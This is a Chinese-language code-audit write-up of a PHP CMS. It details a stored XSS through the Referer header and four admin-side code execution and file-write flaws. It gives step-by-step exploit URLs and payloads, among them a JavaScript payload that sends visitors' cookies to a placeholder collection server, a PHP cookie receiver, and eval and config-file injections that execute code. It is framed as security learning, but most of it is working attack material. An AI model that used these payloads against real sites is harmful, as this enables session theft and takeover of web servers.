0x01 前言
不GetShell的代码审计不是好的代码审计,审计就是要多读代码,对各个交互点的代码都要进行分析。要使用一些审计工具来辅助我们进行工作,从而提高效率。这里本着学习的心态用seay源代码审计系统对某CMS进行一次代码审计,旨在学习漏洞触发点。
打开seay源代码审计系统软件,将要审计的网站源码导入项目,然后点击自动审计。当审计完成时,我们需要根据自动审计的结果,然后根据平时积累的经验,对可能存在风险的代码进行分析.
0x02 漏洞列表
1.前台存在存储型XSS漏洞
2.后台存在4处命令执行及文件写入漏洞可getshell
0x03 存储型XSS漏洞分析
1.XSS通常来说就是在网页中嵌入恶意代码, 通常来说是Javascript,当用户访问网页的时候,恶意脚本在浏览器上执行。
2.存储型XSS攻击流程:用户在留言板处-->存储进数据库-->普通用户或管理员打开留言板触发恶意代码
3.XSS的危害:
通过javascript获取用户的cookie,根据这个cookie窃取用户信息。
重定向网站到一个钓鱼网站
修改源码实现钓鱼
....
4.漏洞触发
a.安装完程序后在前台注册一个用户然后登陆http://localhost/member.php?c=login
b.任意打开一篇文章,例如http://localhost/newsshow.php?cid=4&id=19
c.打开Burp抓包,修改Refer头为Refer: javascript:alert(/panghusec/);
d.模拟管理员登陆,点击用户评论管理,点击评论内容触发XSS
5.源码分析在/member.php 第649-659行附近
//保存评论
else if($a == 'savecomment')
{
//是否开去文章评论功能
if($cfg_comment == 'N') exit();
//初始化参数
$aid = isset($aid) ? intval($aid) : '';
$molds = isset($molds) ? intval($molds) : '';
$body = isset($body) ? htmlspecialchars($body) : '';
$link = isset($_SERVER['HTTP_REFERER']) ? htmlspecialchars($_SERVER['HTTP_REFERER'],ENT_QUOTES) : '';
其中$link参数是从HTTP头中获取Refer头然后进去了htmlspecialchars函数
$link = isset($_SERVER['HTTP_REFERER']) ? htmlspecialchars($_SERVER['HTTP_REFERER'],ENT_QUOTES) : '';
htmlspecialchars() 函数为了预防XSS把预定义的字符转换为 HTML 实体。
$str = "";
echo htmlspecialchars($str, ENT_COMPAT); //只转换双引号
?>
//
预定义的字符是:
•&(和号)成为&
•"(双引号)成为"
•'(单引号)成为'
•
•>(大于)成为>
•ENT_COMPAT -默认。仅编码双引号。
•ENT_QUOTES -编码双引号和单引号。
•ENT_NOQUOTES -不编码任何引号。
上述代码浏览器和HTML输出是不一样的
一般这个函数就能阻挡住大部分的XSS攻击(但还是要看输出位置以及各方面考虑),我们看下后台的输出点,在admin/usercomment.php中第74行
" target="_blank" title="点击访问">
这次的输出点就在a标签的href里面,所以payload使用伪协议javascript:alert(/panghu/);在服务器上开启WEB服务然后新建cookie.php 内容如下
file_put_contents("test.txt",$_GET['cookie']);
?>
能打到cookie的payload
javascript:eval('i=document.createElement("img");i.src="http://xxx/cookie.php?cookie="+document.cookie;document.body.appendChild(i);')
0x04 第一处命令执行分析(需后台权限)
1.漏洞触发
先访问http://localhost/admin/goods_save.php?action=add&attrid[]=1&attrvalue[]=2");phpinfo();//
后访问http://localhost/admin/goods_update.php?id=2
即可执行phpinfo()
2.漏洞分析
后台添加商品的地方admin/goods_save.php 从103行开始
if($action == 'add')
{
//栏目权限验证19行附近
IsCategoryPriv($classid,'add');
此处忽略部分代码直接走到103行
//商品属性
if(is_array($attrid) && is_array($attrvalue))
{
//组成商品属性与值
$attrstr .= 'array(';
$attrids = count($attrid);
for($i=0; $i
{
$attrstr .= '"'.$attrid[$i].'"=>'.'"'.$attrvalue[$i].'"';
if($i
{
$attrstr .= ',';
}
}
$attrstr .= ');';
}
//又走到了304行
$sql = "INSERT INTO `$tbname` (classid, parentid, parentstr, typeid, typepid, typepstr,
brandid, brandpid, brandpstr, title, colorval, boldval, flag, goodsid, payfreight, weight,
attrstr, marketprice, salesprice, housenum, housewarn, warnnum, integral, source, author,
linkurl, keywords, description, content, picurl, picarr, hits, orderid, posttime, checkinfo
{$fieldname}) VALUES ('$classid', '$parentid', '$parentstr', '$typeid', '$typepid', '$typepstr',
'$brandid', '$brandpid', '$brandpstr', '$title', '$colorval', '$boldval', '$flag', '$goodsid',
'$payfreight', '$weight', '$attrstr', '$marketprice', '$salesprice', '$housenum', '$housewarn',
'$warnnum', '$integral', '$source', '$author', '$linkurl', '$keywords', '$description',
'$content', '$picurl', '$picarr', '$hits', '$orderid', '$posttime', '$checkinfo'
{$fieldvalue})";
在上图代码
$attrstr .= '"'.$attrid[$i].'"=>'.'"'.$attrvalue[$i].'"';
这个cms使用全局获取变量并且全局过滤,所以$attrid和$attrvalue可控,并且会通过循环组合成一个为$attrstr的数组。上面的循环操作并不会丢失东西,经过全局过滤后进入插进数据库
public static function addslashes($string, $force = 0, $strip = FALSE) {
接着在goods_update.php中第36行代码
$row = $dosql->GetOne("SELECT * FROM #@__goods WHERE id =$id");
又从表中把指定id的所有内容拿了出来,接着在第98行
$rowattr = String2Array($row['attrstr']);
进入了String2Array函数 这个函数很多程序员写了很多外部的交互然后又过滤不好 经常造成命令执行漏洞,导致网站沦陷,
*字符串转数组*/
if(!function_exists('String2Array'))
{
function String2Array($data)
{
if($data == '') return array();
@eval("\$array = $data;");
return $array;
}
}
String2Array函数的参数$row['attrstr']虽然不是直接跟外部交互的 但是传入的$row['attrstr']就是刚才在goods_save.php 外部存到数据库中的一个列,然后又从数据库中取出来这样就造成了一个命令执行
所以整理下思路在表单中填写命令执行payload->insert进数据库->从数据库中拿出来->传入String2Array函数
关键payload:2");phpinfo();//
经过全局addslashes过滤变成了2\");phpinfo();//,但保存在数据库中还是原样的
array("1"=>"2");phpinfo();//");
打开good_update.php传入对应ID后进入了
$row = $dosql->GetOne("SELECT * FROM #@__goods WHERE id =$id");
取出来的$row['attrstr']就是2");phpinfo();//然后传入eval中变成了
@eval("\$array =2");phpinfo();//
导致了命令执行
0x05 第二处命令执行分析(需后台权限)
其实第二处命令执行跟第一处有相同之处,第一处是存储payload到数据库被取出来后进入了存在命令执行风险的String2Array函数,第二处则是存储payload到数据库被取出来后进入了文件写入的函数,虽然文件名不可控,但是是php后缀
先访问http://localhost/admin/web_config.php然后填入payload 变量类型选择数字
1;file_put_contents("../panghusec.txt","just a test");
代码分析
//增加新变量
if($action == 'add')
{
if($varname == '' || preg_match('/[^a-z_]/', $varname))
{
ShowMsg('变量名不能为空并必须为[a-z_]组成!', $gourl);
exit();
}
//链接前缀
$varname = 'cfg_'.$varname;
if($vartype=='bool' && ($varvalue!='Y' && $varvalue!='N'))
{
ShowMsg('布尔变量值必须为\'Y\'或\'N\'!', $gourl);
exit();
}
获取到vartype和varvalue以及varname后 插入了数据库
$sql = "INSERT INTO `#@__webconfig` (siteid, varname, varinfo, varvalue, vartype, vargroup,
orderid) VALUES ('$cfg_siteid', '$varname', '$varinfo', '$varvalue', '$vartype', '$vargroup',
'$orderid')";
if(!$dosql->ExecNoneQuery($sql))
{
ShowMsg('新增变量失败,可能有非法字符!', $gourl);
exit();
}
WriteConfig();
从数据库中拿出来后接着进入了WriteConfig参数
$config_cache = PHPMYWIND_INC.'/config.cache.php';
//更新配置函数
function WriteConfig()
{
global $dosql, $config_cache, $gourl;
$str = '
$dosql->Execute("SELECT `varname`,`vartype`,`varvalue`,`vargroup` FROM `#@__webconfig` ORDER
BY orderid ASC");
while($row = $dosql->GetArray())
{
//强制去掉'
//强制去掉最后一位/
$vartmp = str_replace("'",'',$row['varvalue']);
if(substr($vartmp, -1) == '\\')
{
$vartmp = substr($vartmp,1,-1);
}
if($row['vartype'] == 'number')
{
if($row['varvalue'] == '')
{
$vartmp = 0;
}
$str .= "\${$row['varname']} = ".$vartmp.";\r\n";
}
else
{
$str .= "\${$row['varname']} = '".$vartmp."';\r\n";
}
}
$str .= '?>';
if(!Writef($config_cache,$str))
{
ShowMsg("变量成功保存,但由于config.cache.php无法写入,因此不能更新配置!", $gourl);
exit();
}
RewriteURL();
}
0x06 第三处命令执行分析(需后台权限)
问题还是出现在http://localhost/admin/web_config.php这次不用进入数据库了
保存之后访问http://localhost/admin/rewriteurl.php即可getshell
代码分析
$config_str = Readf(ADMIN_TEMP.'/html/rewriteurl.html');
$config_str = str_replace('', $apache, $config_str);
$config_str = str_replace('', $apache2, $config_str);
$config_str = str_replace('', $iis, $config_str);
$config_str = str_replace('', $iis7, $config_str);
$config_str = str_replace('', $nginx, $config_str);
$config_str = str_replace('', $webpath, $config_str);
//将替换后的内容写入rewriteurl.php文件
if(!Writef('rewriteurl.php', $config_str))
{
ShowMsg("文件失败rewriteurl.php文件失败,可能是由于没有写入权限,因此不能更新配置!", $gourl);
exit();
}
}
直接就写入了文件
0x07第四处命令执行分析(需后台权限)
问题同样还是出现在http://localhost/admin/web_config.php
$cfg_webpath填入111\
$cfg_author填入';phpinfo();//
代码分析
在admin/web_config.php中第32-64行是对输入的变量进行一些过滤的操作
//更新配置函数
function WriteConfig()
{
global $dosql, $config_cache, $gourl;
$str = '
$dosql->Execute("SELECT `varname`,`vartype`,`varvalue`,`vargroup` FROM `#@__webconfig` ORDER BY orderid ASC");
while($row = $dosql->GetArray())
{
//强制去掉'
//强制去掉最后一位/
$vartmp = str_replace("'",'',$row['varvalue']);
if(substr($vartmp, -1) == '\\')
{
$vartmp = substr($vartmp,1,-1);
}
if($row['vartype'] == 'number')
{
其中强制去掉了'所以就没法闭合getshell了但这个操作
if(substr($vartmp, -1) == '\\')
{
$vartmp = substr($vartmp,1,-1);
}
对\ 字符只做了一次过滤,只要使用\,最后一个\被过滤后剩下的\可以注释单引号,第二个变量中开始的单引号刚好与上一个单引号进行了闭合,剩下的变量内容被当成命令执行
领取专属 10元无门槛券
私享最新 技术干货